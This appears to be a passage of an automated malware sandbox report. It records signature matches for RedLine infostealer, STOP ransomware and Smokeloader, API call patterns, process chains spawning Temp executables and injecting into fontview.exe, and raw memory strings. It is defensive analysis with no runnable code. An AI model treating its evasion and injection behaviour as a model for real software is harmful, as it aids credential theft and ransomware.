Source: 16.3.226F.exe.16f3fc0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 15.2.2560.exe.4a015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 15.2.2560.exe.4a015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.2.2560.exe.4a015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.2.2560.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 17.2.2560.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.2.2560.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000D.00000002.402603602.0000000002C30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000F.00000002.362651886.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000011.00000002.363362004.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000011.00000002.363362004.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000011.00000002.363362004.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000D.00000002.403573170.0000000004921000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.291031913.0000000004931000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000010.00000003.367401202.000000000D030000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000F.00000002.361737434.0000000002EA1000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000E.00000002.577154071.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000D.00000002.402735340.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.290704860.0000000002C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000D.00000002.403103692.0000000002C80000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.290595055.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.290961017.0000000002C60000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000E.00000002.577358269.0000000000678000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: Process Memory Space: 2560.exe PID: 2136, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 2560.exe PID: 3152, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: C:\Users\user\AppData\Local\Temp\336E.exe

Code function: String function: 00413FF0 appears 54 times

Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Code function: 0_2_00401558 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401558
Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Code function: 0_2_00401749 NtMapViewOfSection,NtMapViewOfSection,	0_2_00401749
Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Code function: 0_2_00401564 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401564
Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Code function: 0_2_00401577 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401577
Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Code function: 0_2_00401523 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401523
Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Code function: 0_2_00401585 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401585
Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Code function: 0_2_0040158C NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040158C
Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Code function: 0_2_0040159A NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040159A
Source: C:\Users\user\AppData\Roaming\dbjigst	Code function: 13_2_00401558 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	13_2_00401558
Source: C:\Users\user\AppData\Roaming\dbjigst	Code function: 13_2_00401749 NtMapViewOfSection,NtMapViewOfSection,	13_2_00401749
Source: C:\Users\user\AppData\Roaming\dbjigst	Code function: 13_2_00401564 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	13_2_00401564
Source: C:\Users\user\AppData\Roaming\dbjigst	Code function: 13_2_00401577 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	13_2_00401577
Source: C:\Users\user\AppData\Roaming\dbjigst	Code function: 13_2_00401523 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	13_2_00401523
Source: C:\Users\user\AppData\Roaming\dbjigst	Code function: 13_2_00401585 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	13_2_00401585
Source: C:\Users\user\AppData\Roaming\dbjigst	Code function: 13_2_0040158C NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	13_2_0040158C
Source: C:\Users\user\AppData\Roaming\dbjigst	Code function: 13_2_0040159A NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	13_2_0040159A

Source: Library.exe.25.dr

Static PE information: No import functions for PE file found

Source: 226F.exe.1.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: aw9Ynwqd1x.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\WER\ERC\statecache.lock

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@30/14@4/5

Source: C:\Users\user\AppData\Local\Temp\336E.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: fontview.exe, 00000013.00000003.412196998.0000000006930000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.410010255.00000000055B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/AppExplorer.AssocActionId.BurnSelectionExplorer.AssocActionId.CloseSessionIehistoryIerssJavascriptJscriptLDAPResrloginStickyNotesExplorer.AssocActionId.EraseDiscExplorer.AssocActionId.ZipSelectionExplorer.AssocProtocol.search-msExplorer.BurnSelectionExplorer.CloseSessionExplorer.EraseDiscExplorer.ZipSelectionFile.adp.app.application.appref-ms.asp.bas.cnt.cpftelnettn3270VbscriptwindowsmediacenterappwindowsmediacentersslwindowsmediacenterwebWMP11.AssocProtocol.MMS.ade.hlp.hme.hpj.hta.ins.isp.its.jse.cpl.crd.crds.crt.csh.fxp.gadget.grp.mat.mau.mav.maw.mcf.mda.mde.mdt.ksh.mad.maf.mag.mam.maq.mar.mas.mshxml.mst.ops.pcd.pl.plg.prf.prg.mdw.mdz.msc.msh.msh1.msh1xml.msh2.msh2xml.pvw.plsc.rb.rbw.rdp.rgu.scf.scr.printerexport.provxml.ps2.ps2xml.psc2.py.pyc.pyo.vsw.webpnp.ws.wsc.wsh.xaml.xdp.xip.shb.shs.theme.tsk.vb.vbe.vbp.vsmacros.xnkBRITNLSVDAFIHUNOENDEJAKOTWCNFRHEEUISsr-Latn-CSsr-SP-Latnsr-Cyrl-CSsr-SP-Cyrlsr-Latn-BAELPLRUCSPTSKSLARbs-BA-Latnzh-Hantzh-CHTzh-Hanszh-CHSsr-BA-Latnsr-Cyrl-BAsr-BA-Cyrliu-Latn-CAiu-CA-Latnbs-Cyrl-BAbs-BA-Cyrlbs-Latn-BAdadeelenesfifrhearbgcarmroruhrsksqsvthhuisitjakonlplptfavihyazeuhsbmksttrurukbeetlvlttghimtsegayimskkkytstnvexhzuafkafotateknmlasmrsamnswtkuzttbnpaguorsdsyrsichriuamtzmksbocykmlomyglkokmniibbyoquznsobalbklignefypsfildvbinffhapaparnmohbrugmioccokromtignhawlasoiiar-SAbg-BGca-ESzh-TWcs-CZda-DKde-DEel-GRgswsahqucrwwoprsgdkuja-JPko-KRnl-NLnb-NOpl-PLpt-BRrm-CHro-ROen-USes-ES_tradnlfi-FIfr-FRhe-ILhu-HUis-ISit-ITid-IDuk-UAbe-BYsl-SIet-EElv-LVlt-LTtg-Cyrl-TJru-RUhr-HRsk-SKsq-ALsv-SEth-THtr-TRur-PKts-ZAtn-ZAve-ZAxh-ZAzu-ZAaf-ZAka-GEfo-FOfa-IRvi-VNhy-AMaz-Latn-AZeu-EShsb-DEmk-MKst-ZAtk-TMuz-Latn-UZtt-RUbn-INpa-INgu-INor-INta-INhi-INmt-MTse-NOyi-001ms-MYkk-KZky-KGsw-KEcy-GBkm-KHlo-LAmy-MMgl-ESkok-INmni-INsd-Deva-INte-INkn-INml-INas-INmr-INsa-INmn-MNbo-CNfy-NLps-AFfil-PHdv-MVbin-NGff-NGha-Latn-NGibb-NGsyr-SYsi-LKchr-Cher-USiu-Cans-CAam-ETtzm-Arab-MAks-Arabne-NPom-ETti-ETgn-PYhaw-USla-001so-SOii-CNpap-029yo-NGquz-BOnso-ZAba-RUlb-LUkl-GLig-NGkr-NGsah-RUquc-Latn-GTrw-RWwo-SNprs-AFgd-GBku-Arab-IQqps-plocarn-CLmoh-CAbr-FRug-CNmi-NZoc-FRco-FRgsw-FRit-CHnl-BEnn-NOpt-PTro-MDru-MDsv-FIur-INqps-plocaar-IQca-ES-valenciazh-CNde-CHen-GBes-MXfr-BEpa-Arab-PKta-LKmn-Mong-CNsd-Arab-PKtzm-Latn-DZks-Deva-INne-INff-Latn-SNaz-Cyrl-AZdsb-DEtn-BWse-SEga-IEms-BNuz-Cyrl-UZbn-BDes-ESfr-CAse-FImn-Mong-MNdz-BTquz-PEar-LYzh-SGquz-ECti-ERqps-Latn-x-shqps-plocmar-EGzh-HKde-ATen-AUzh-MOde-LIen-NZes-CRfr-LUsmj-SEar-MAen-IEde-LUen-CAes-GTfr-CHhr-BAsmj-NOtzm-Tfng-MAar-DZar-OMen-JMes-VEfr-REsms-FIar-YEen-029es-COes-PAfr-MCsma-NOar-TNen-ZAes-DOfr-029sma-SEar-JOen-TTes-ARfr-CMsr-Latn-MEar-LBen-ZWes-ECfr-CDsr-Latn-RSsmn-FIar-SYen-BZes-PEfr-SNsr-Cyrl-RSes-UYfr-MAar-BHen-HKes-PYfr-HTar-QAen-INfr-CIsr-Cyrl-MEar-KWen-PHes-CLfr-MLar-AEen-IDes-419es-CUbs-Cyrlbs-Latnsr-Cyrlsr-Latnsmnaz-Cyrles-BOen-MYes-SVen-SGes-HNes-NIes-PRes-USiu-Canstzm-Tfngnbsrtg-Cyrldsbsmjuz-Latnsmszhnnbsaz-Latnsmauz-Cyrlmn-Cyrlquc-Lat
Source: fontview.exe, 00000013.00000003.416675694.0000000005B80000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.414492613.00000000055B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .xlsmMicrosoft.Office.Desktop_8wekyb3d8bbwe!Excel.dot.dotx.docmMicrosoft.Office.Desktop_8wekyb3d8bbwe!WordMicrosoft.Office.Desktop_8wekyb3d8bbwe!PowerPoint.ods.xla.xlam.xlt.xltm.xltx.xlsb.pps.ppsm.ppsx.thmx.pot.potm.potx.pptmms-powerpointms-excelms-word.odp.ppa.ppamABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/Explorer.AssocActionId.CloseSessionExplorer.AssocActionId.EraseDiscExplorer.AssocActionId.ZipSelectionExplorer.AssocProtocol.search-msExplorer.BurnSelectionExplorer.CloseSessionExplorer.EraseDiscExplorer.ZipSelectionAppExplorer.AssocActionId.BurnSelectionStickyNotestelnettn3270VbscriptwindowsmediacenterappwindowsmediacentersslwindowsmediacenterwebWMP11.AssocProtocol.MMSFileIehistoryIerssJavascriptJscriptLDAPResrlogin.cpf.crd.crds.crt.csh.fxp.gadget.grp.ade.adp.app.application.appref-ms.asp.bas.cnt.ksh.mad.maf.mag.mam.maq.mar.mas.hlp.hme.hpj.hta.ins.isp.its.jse.mdw.mdz.msc.msh.msh1.msh1xml.msh2.msh2xml.mat.mau.mav.maw.mcf.mda.mde.mdt.printerexport.provxml.ps2.ps2xml.psc2.py.pyc.pyo.mshxml.mst.ops.pcd.pl.plg.prf.prg.shb.shs.theme.tsk.vb.vbe.vbp.vsmacros.pvw.plsc.rb.rbw.rdp.rgu.scf.scr.xnk.vsw.webpnp.ws.wsc.wsh.xaml.xdp.xipKOTWCNFRBRITNLSVENDEJAPTTRSKSLARHEEUISDAFIHUNOELPLRUCSiu-Latn-CAiu-CA-Latnbs-Cyrl-BAbs-BA-Cyrlbs-Latn-BAbs-BA-Latnzh-Hantzh-CHTsr-Latn-CSsr-SP-Latnsr-Cyrl-CSsr-SP-Cyrlsr-Latn-BAsr-BA-Latnsr-Cyrl-BAsr-BA-Cyrlzh-Hanszh-CHSarbgcacsdadeitjakonlplptrmroelenesfifrhehuisukbesletlvlttgfaruhrsksqsvthtrurtnvexhzuafkafohivihyazeuhsbmksttstkuzttbnpaguortamtsegayimskkkyswcykmlomyglkokmnisdteknmlasmrsamnbofypsfildvbinffhaibbsyrsichriuamtzmksneomtignhawlasoiipapyoquznsobalbkligkrsahqucrwwoprsgdkuar-SAarnmohbrugmioccogswes-ES_tradnlfi-FIfr-FRhe-ILhu-HUis-ISit-ITja-JPbg-BGca-ESzh-TWcs-CZda-DKde-DEel-GRen-UShr-HRsk-SKsq-ALsv-SEth-THtr-TRur-PKid-IDko-KRnl-NLnb-NOpl-PLpt-BRrm-CHro-ROru-RUvi-VNhy-AMaz-Latn-AZeu-EShsb-DEmk-MKst-ZAts-ZAuk-UAbe-BYsl-SIet-EElv-LVlt-LTtg-Cyrl-TJfa-IRmt-MTse-NOyi-001ms-MYkk-KZky-KGsw-KEtk-TMtn-ZAve-ZAxh-ZAzu-ZAaf-ZAka-GEfo-FOhi-INkn-INml-INas-INmr-INsa-INmn-MNbo-CNcy-GBuz-Latn-UZtt-RUbn-INpa-INgu-INor-INta-INte-INsi-LKchr-Cher-USiu-Cans-CAam-ETtzm-Arab-MAks-Arabne-NPfy-NLkm-KHlo-LAmy-MMgl-ESkok-INmni-INsd-Deva-INsyr-SYquz-BOnso-ZAba-RUlb-LUkl-GLig-NGkr-NGom-ETps-AFfil-PHdv-MVbin-NGff-NGha-Latn-NGibb-NGyo-NGmoh-CAbr-FRug-CNmi-NZoc-FRco-FRgsw-FRsah-RUti-ETgn-PYhaw-USla-001so-SOii-CNpap-029arn-CLar-IQca-ES-valenciazh-CNde-CHen-GBes-MXfr-BEit-CHquc-Latn-GTrw-RWwo-SNprs-AFgd-GBku-Arab-IQqps-plocqps-plocadsb-DEtn-BWse-SEga-IEms-BNuz-Cyrl-UZbn-BDpa-Arab-PKnl-BEnn-NOpt-PTro-MDru-MDsv-FIur-INaz-Cyrl-AZti-ERqps-Latn-x-shqps-plocmar-EGzh-HKde-ATen-AUes-ESta-LKmn-Mong-CNsd-Arab-PKtzm-Latn-DZks-Deva-INne-INff-Latn-SNquz-ECen-CAes-GTfr-CHhr-BAsmj-NOtzm-Tfng-MAar-DZzh-MOfr-CAse-FImn-Mong-MNdz-BTquz-PEar-LYzh-SGde-LUfr-MCsma-NOar-TNen-ZAes-DOfr-029sma-SEar-OMde-LIen-NZes-CRfr-LUsmj-SEar-MAen-IEes-PAsr-Latn-RSsmn-FIar-SYen-BZes-PEfr-SNsr-Cyrl-RSar-JOen-JMes-VEfr-REsms-FIar-YEen-029es-COfr-CDsr-Cyrl-MEar-KWen-PHes-CLf
Source: fontview.exe, 00000013.00000003.401675563.0000000005000000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: RtlDllShutdownInProgress_p0.System......./UseSystemForSystemFoldersSoftware\Microsoft\Windows\CurrentVersion\Explorerdesktop.ini%APPDATA%%USERPROFILE%%ALLUSERSPROFILE%%ProgramFiles%%SystemRoot%%SystemDrive%\\%COMPUTERNAME%...\...PATH.exe.lnk.cmd.bat.com.pifCutListSoftware\Microsoft\Windows\CurrentVersion\Explorer\FileAssociation\VarFileInfo\Translation\StringFileInfo\%04X%04X\FileDescription\StringFileInfo\040904E4\FileDescription\StringFileInfo\04090000\FileDescriptionProgram ManagerpszDesktopTitleW%%%s%%%sUSERPROFILEProgramFilesSystemRootSystemDrivewindir"%1"commandshellSoftware\classesDefaultIconshell\%sAssignmentType0Software\Classes\Applications\%sSoftware\Classes\Applications%1.ade.adp.app.asp.cer.chm.cnt.crt.csh.der.fxp.gadget.grp.hlp.hpj.inf.ins.isp.its.js.jse.ksh.mad.maf.mag.mam.maq.mar.mas.mat.mau.mav.maw.mcf.mda.mdb.mde.mdt.mdw.mdz.msc.msh.msh1.msh1xml.msh2.msh2xml.mshxml.msp.mst.msu.ops.pcd.pl.plg.prf.prg.printerexport.ps1.ps1xml.ps2.ps2xml.psc1.psc2.psd1.psm1.pst.scf.sct.shb.shs.theme.tmp.url.vbe.vbp.vbs.vhd.vhdx.vsmacros.vsw.webpnp.ws.wsc.wsf.wsh.xnkHKCU:HKLM:HKCR:%s\shell\%s\commandshell\%s\commandSoftware\Clients\%sSoftware\Clients\%s\%sOpen.*....../UseSystemForSystemFoldersdesktop.ini%SystemDrive%\\%COMPUTERNAME%...\...%s\%s\StringFileInfo\04090000\FileDescriptionT

Source: aw9Ynwqd1x.exe	ReversingLabs: Detection: 84%
Source: aw9Ynwqd1x.exe	Virustotal: Detection: 65%

Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\aw9Ynwqd1x.exe C:\Users\user\Desktop\aw9Ynwqd1x.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\dbjigst C:\Users\user\AppData\Roaming\dbjigst
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\336E.exe C:\Users\user\AppData\Local\Temp\336E.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\2560.exe C:\Users\user\AppData\Local\Temp\2560.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\226F.exe C:\Users\user\AppData\Local\Temp\226F.exe
Source: C:\Users\user\AppData\Local\Temp\2560.exe	Process created: C:\Users\user\AppData\Local\Temp\2560.exe C:\Users\user\AppData\Local\Temp\2560.exe
Source: C:\Users\user\AppData\Local\Temp\226F.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
Source: C:\Users\user\AppData\Local\Temp\226F.exe	Process created: C:\Windows\SysWOW64\fontview.exe C:\Windows\SYSWOW64\fontview.exe
